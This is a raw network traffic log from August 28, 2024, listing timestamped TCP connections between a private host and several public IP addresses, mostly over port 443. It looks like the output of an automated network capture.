Aug 28, 2024 13:52:42.279597044 CEST	443	49732	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:42.279619932 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:42.279642105 CEST	49732	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:42.283236980 CEST	49733	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:42.283276081 CEST	443	49733	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:42.283340931 CEST	49733	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:42.283555984 CEST	49733	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:42.283574104 CEST	443	49733	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:42.347011089 CEST	49734	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:42.347042084 CEST	443	49734	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:42.347141027 CEST	49734	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:42.348902941 CEST	49734	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:42.348918915 CEST	443	49734	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:42.748560905 CEST	443	49733	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:42.748895884 CEST	49733	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:42.748915911 CEST	443	49733	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:42.749232054 CEST	443	49733	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:42.749562979 CEST	49733	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:42.749627113 CEST	443	49733	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:42.749721050 CEST	49733	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:42.796494007 CEST	443	49733	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:42.872478008 CEST	443	49733	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:42.872550964 CEST	443	49733	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:42.872597933 CEST	49733	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:42.873342037 CEST	49733	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:42.873362064 CEST	443	49733	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:42.994775057 CEST	443	49734	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:42.994841099 CEST	49734	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:42.997688055 CEST	49734	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:42.997698069 CEST	443	49734	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:42.997931957 CEST	443	49734	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:43.042103052 CEST	49734	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:43.088505983 CEST	443	49734	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:43.265583038 CEST	49735	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:52:43.265615940 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:43.265727997 CEST	49735	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:52:43.266717911 CEST	49735	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:52:43.266731024 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:43.274518013 CEST	443	49734	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:43.274571896 CEST	443	49734	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:43.274631977 CEST	49734	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:43.274811029 CEST	49734	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:43.274827957 CEST	443	49734	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:43.274842024 CEST	49734	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:43.274847031 CEST	443	49734	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:43.306512117 CEST	49736	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:43.306524038 CEST	443	49736	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:43.306616068 CEST	49736	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:43.306843042 CEST	49736	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:43.306853056 CEST	443	49736	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:43.982048035 CEST	443	49736	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:43.982167006 CEST	49736	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:43.983539104 CEST	49736	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:43.983547926 CEST	443	49736	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:43.983747005 CEST	443	49736	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:43.984772921 CEST	49736	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:44.032495022 CEST	443	49736	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:44.130016088 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:44.130264044 CEST	49735	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:52:44.132936001 CEST	49735	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:52:44.132941961 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:44.133162975 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:44.178148031 CEST	49735	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:52:44.183130980 CEST	49735	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:52:44.224513054 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:44.258465052 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 28, 2024 13:52:44.258610964 CEST	443	49736	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:44.258672953 CEST	443	49736	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:44.258728981 CEST	49736	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:44.259491920 CEST	49736	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:44.259509087 CEST	443	49736	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:44.259520054 CEST	49736	443	192.168.2.16	184.28.90.27
Aug 28, 2024 13:52:44.259526014 CEST	443	49736	184.28.90.27	192.168.2.16
Aug 28, 2024 13:52:44.457819939 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:44.457844019 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:44.457850933 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:44.457868099 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:44.457901001 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:44.458015919 CEST	49735	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:52:44.458015919 CEST	49735	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:52:44.458038092 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:44.458050966 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:44.458137035 CEST	49735	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:52:44.458682060 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:44.458729982 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:44.461796999 CEST	49735	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:52:44.468350887 CEST	49735	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:52:44.468359947 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:44.468378067 CEST	49735	443	192.168.2.16	20.114.59.183
Aug 28, 2024 13:52:44.468383074 CEST	443	49735	20.114.59.183	192.168.2.16
Aug 28, 2024 13:52:44.559156895 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 28, 2024 13:52:45.183151960 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 28, 2024 13:52:45.309609890 CEST	49737	443	192.168.2.16	20.73.194.208
Aug 28, 2024 13:52:45.309648037 CEST	443	49737	20.73.194.208	192.168.2.16
Aug 28, 2024 13:52:45.309731007 CEST	49737	443	192.168.2.16	20.73.194.208
Aug 28, 2024 13:52:45.310580015 CEST	49737	443	192.168.2.16	20.73.194.208
Aug 28, 2024 13:52:45.310592890 CEST	443	49737	20.73.194.208	192.168.2.16
Aug 28, 2024 13:52:45.444175959 CEST	49673	443	192.168.2.16	204.79.197.203
Aug 28, 2024 13:52:46.121841908 CEST	443	49737	20.73.194.208	192.168.2.16
Aug 28, 2024 13:52:46.121925116 CEST	49737	443	192.168.2.16	20.73.194.208
Aug 28, 2024 13:52:46.123378992 CEST	49737	443	192.168.2.16	20.73.194.208
Aug 28, 2024 13:52:46.123388052 CEST	443	49737	20.73.194.208	192.168.2.16
Aug 28, 2024 13:52:46.123616934 CEST	443	49737	20.73.194.208	192.168.2.16
Aug 28, 2024 13:52:46.161072969 CEST	49737	443	192.168.2.16	20.73.194.208
Aug 28, 2024 13:52:46.161127090 CEST	443	49737	20.73.194.208	192.168.2.16
Aug 28, 2024 13:52:46.161181927 CEST	49737	443	192.168.2.16	20.73.194.208
Aug 28, 2024 13:52:46.228796005 CEST	49738	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:46.228832960 CEST	443	49738	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:46.228913069 CEST	49738	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:46.229171038 CEST	49738	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:46.229185104 CEST	443	49738	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:46.392271042 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 28, 2024 13:52:47.006956100 CEST	443	49738	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:47.007050037 CEST	49738	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:47.018111944 CEST	49738	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:47.018132925 CEST	443	49738	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:47.018317938 CEST	443	49738	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:47.018891096 CEST	49738	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:47.018951893 CEST	49738	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:47.018982887 CEST	443	49738	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:47.426863909 CEST	443	49738	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:47.426882029 CEST	443	49738	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:47.426919937 CEST	443	49738	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:47.426975012 CEST	443	49738	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:47.426986933 CEST	49738	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:47.427042961 CEST	49738	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:47.427274942 CEST	49738	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:47.427295923 CEST	443	49738	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:47.427305937 CEST	49738	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:47.427311897 CEST	443	49738	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:47.445838928 CEST	49739	443	192.168.2.16	20.73.194.208
Aug 28, 2024 13:52:47.445878983 CEST	443	49739	20.73.194.208	192.168.2.16
Aug 28, 2024 13:52:47.445962906 CEST	49739	443	192.168.2.16	20.73.194.208
Aug 28, 2024 13:52:47.446206093 CEST	49739	443	192.168.2.16	20.73.194.208
Aug 28, 2024 13:52:47.446222067 CEST	443	49739	20.73.194.208	192.168.2.16
Aug 28, 2024 13:52:48.254646063 CEST	443	49739	20.73.194.208	192.168.2.16
Aug 28, 2024 13:52:48.254726887 CEST	49739	443	192.168.2.16	20.73.194.208
Aug 28, 2024 13:52:48.255990982 CEST	49739	443	192.168.2.16	20.73.194.208
Aug 28, 2024 13:52:48.256001949 CEST	443	49739	20.73.194.208	192.168.2.16
Aug 28, 2024 13:52:48.256247997 CEST	443	49739	20.73.194.208	192.168.2.16
Aug 28, 2024 13:52:48.257320881 CEST	49739	443	192.168.2.16	20.73.194.208
Aug 28, 2024 13:52:48.257365942 CEST	443	49739	20.73.194.208	192.168.2.16
Aug 28, 2024 13:52:48.257478952 CEST	443	49739	20.73.194.208	192.168.2.16
Aug 28, 2024 13:52:48.257498980 CEST	49739	443	192.168.2.16	20.73.194.208
Aug 28, 2024 13:52:48.257523060 CEST	49739	443	192.168.2.16	20.73.194.208
Aug 28, 2024 13:52:48.318887949 CEST	49740	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:48.318919897 CEST	443	49740	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:48.319042921 CEST	49740	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:48.319174051 CEST	49740	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:48.319188118 CEST	443	49740	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:48.720432997 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 28, 2024 13:52:48.800226927 CEST	49678	443	192.168.2.16	20.189.173.10
Aug 28, 2024 13:52:49.024224997 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 28, 2024 13:52:49.117572069 CEST	443	49740	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:49.118730068 CEST	49740	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:49.118731022 CEST	49740	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:49.118762016 CEST	443	49740	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:49.118774891 CEST	443	49740	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:49.118803024 CEST	49740	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:49.118818045 CEST	443	49740	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:49.138374090 CEST	443	49721	142.250.185.164	192.168.2.16
Aug 28, 2024 13:52:49.138434887 CEST	443	49721	142.250.185.164	192.168.2.16
Aug 28, 2024 13:52:49.138560057 CEST	49721	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:52:49.460911036 CEST	443	49740	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:49.460935116 CEST	443	49740	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:49.460958958 CEST	443	49740	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:49.461282015 CEST	443	49740	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:49.461314917 CEST	49740	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:49.464507103 CEST	49740	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:49.464507103 CEST	49740	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:49.467514992 CEST	49740	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:49.467538118 CEST	443	49740	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:49.534770012 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:49.534823895 CEST	443	49741	51.104.136.2	192.168.2.16
Aug 28, 2024 13:52:49.534915924 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:49.535129070 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:49.535144091 CEST	443	49741	51.104.136.2	192.168.2.16
Aug 28, 2024 13:52:49.629187107 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 28, 2024 13:52:49.887922049 CEST	49721	443	192.168.2.16	142.250.185.164
Aug 28, 2024 13:52:49.887959003 CEST	443	49721	142.250.185.164	192.168.2.16
Aug 28, 2024 13:52:49.888256073 CEST	49742	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:49.888300896 CEST	443	49742	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:49.888386965 CEST	49742	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:49.888659000 CEST	49742	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:49.888669968 CEST	443	49742	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:50.302772999 CEST	443	49741	51.104.136.2	192.168.2.16
Aug 28, 2024 13:52:50.302860975 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:50.304020882 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:50.304030895 CEST	443	49741	51.104.136.2	192.168.2.16
Aug 28, 2024 13:52:50.304265022 CEST	443	49741	51.104.136.2	192.168.2.16
Aug 28, 2024 13:52:50.305274963 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:50.305315018 CEST	443	49741	51.104.136.2	192.168.2.16
Aug 28, 2024 13:52:50.305373907 CEST	49741	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:50.350982904 CEST	443	49742	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:50.351393938 CEST	49742	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:50.351406097 CEST	443	49742	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:50.351728916 CEST	443	49742	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:50.352034092 CEST	49742	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:50.352103949 CEST	443	49742	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:50.352209091 CEST	49742	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:50.352272987 CEST	49742	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:50.352297068 CEST	443	49742	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:50.352379084 CEST	49742	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:50.352406979 CEST	443	49742	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:50.361794949 CEST	49743	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:50.361821890 CEST	443	49743	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:50.362024069 CEST	49743	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:50.362051964 CEST	49743	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:50.362057924 CEST	443	49743	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:50.834189892 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 28, 2024 13:52:50.943181038 CEST	443	49742	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:50.943247080 CEST	443	49742	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:50.943278074 CEST	443	49742	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:50.943301916 CEST	49742	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:50.943312883 CEST	443	49742	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:50.943380117 CEST	443	49742	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:50.943461895 CEST	49742	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:50.943461895 CEST	49742	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:50.944192886 CEST	49742	443	192.168.2.16	104.18.94.41
Aug 28, 2024 13:52:50.944207907 CEST	443	49742	104.18.94.41	192.168.2.16
Aug 28, 2024 13:52:50.946846008 CEST	49744	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:50.946892023 CEST	443	49744	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:50.946981907 CEST	49744	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:50.947191000 CEST	49744	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:50.947206020 CEST	443	49744	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:50.953042984 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:50.953079939 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:50.953167915 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:50.953191996 CEST	49746	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:50.953198910 CEST	443	49746	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:50.953253031 CEST	49746	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:50.953438997 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:50.953450918 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:50.953587055 CEST	49746	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:50.953596115 CEST	443	49746	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:51.138892889 CEST	443	49743	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:51.139446974 CEST	49743	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:51.139489889 CEST	443	49743	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:51.140111923 CEST	49743	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:51.140119076 CEST	443	49743	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:51.140167952 CEST	49743	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:51.140173912 CEST	443	49743	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:51.403465986 CEST	443	49744	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:51.403762102 CEST	49744	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:51.403785944 CEST	443	49744	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:51.404128075 CEST	443	49744	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:51.404422998 CEST	49744	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:51.404498100 CEST	443	49744	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:51.404546022 CEST	49744	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:51.409941912 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:51.410151958 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:51.410166979 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:51.410444975 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:51.410720110 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:51.410770893 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:51.410830975 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:51.410881042 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:51.410886049 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:51.413242102 CEST	443	49746	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:51.413420916 CEST	49746	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:51.413429022 CEST	443	49746	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:51.413753986 CEST	443	49746	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:51.414016008 CEST	49746	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:51.414076090 CEST	443	49746	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:51.452491999 CEST	443	49744	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:51.455198050 CEST	49746	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:51.455199957 CEST	49744	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:51.488578081 CEST	443	49743	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:51.488600016 CEST	443	49743	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:51.488631964 CEST	443	49743	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:51.488678932 CEST	443	49743	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:51.488734007 CEST	49743	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:51.488759041 CEST	49743	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:51.489059925 CEST	49743	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:51.489078045 CEST	443	49743	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:51.489089012 CEST	49743	443	192.168.2.16	40.126.32.74
Aug 28, 2024 13:52:51.489094973 CEST	443	49743	40.126.32.74	192.168.2.16
Aug 28, 2024 13:52:51.514545918 CEST	49747	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:51.514585018 CEST	443	49747	51.104.136.2	192.168.2.16
Aug 28, 2024 13:52:51.514679909 CEST	49747	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:51.514879942 CEST	49747	443	192.168.2.16	51.104.136.2
Aug 28, 2024 13:52:51.514895916 CEST	443	49747	51.104.136.2	192.168.2.16
Aug 28, 2024 13:52:51.528528929 CEST	443	49744	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:51.528599977 CEST	443	49744	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:51.528667927 CEST	49744	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:51.529098988 CEST	49744	443	192.168.2.16	104.18.95.41
Aug 28, 2024 13:52:51.529104948 CEST	443	49744	104.18.95.41	192.168.2.16
Aug 28, 2024 13:52:52.048171043 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.048228025 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.048294067 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.048317909 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.048326969 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.048336029 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.048398972 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.048412085 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.048451900 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.049818039 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.049968958 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.050014973 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.050023079 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.050584078 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.050656080 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.050662994 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.054763079 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.054805040 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.054838896 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.054852962 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.054897070 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.133970022 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.138797998 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.138878107 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.138926983 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.138940096 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.138951063 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.139049053 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.143703938 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.143744946 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.143783092 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.143811941 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.143826008 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.143853903 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.144026995 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.144026995 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.144051075 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.148535013 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.148598909 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.148616076 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.148621082 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.148631096 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.148672104 CEST	49745	443	192.168.2.16	104.26.7.122
Aug 28, 2024 13:52:52.153294086 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.153362989 CEST	443	49745	104.26.7.122	192.168.2.16
Aug 28, 2024 13:52:52.153398991 CEST	443	49745	104.26.7.122	192.168.2.16
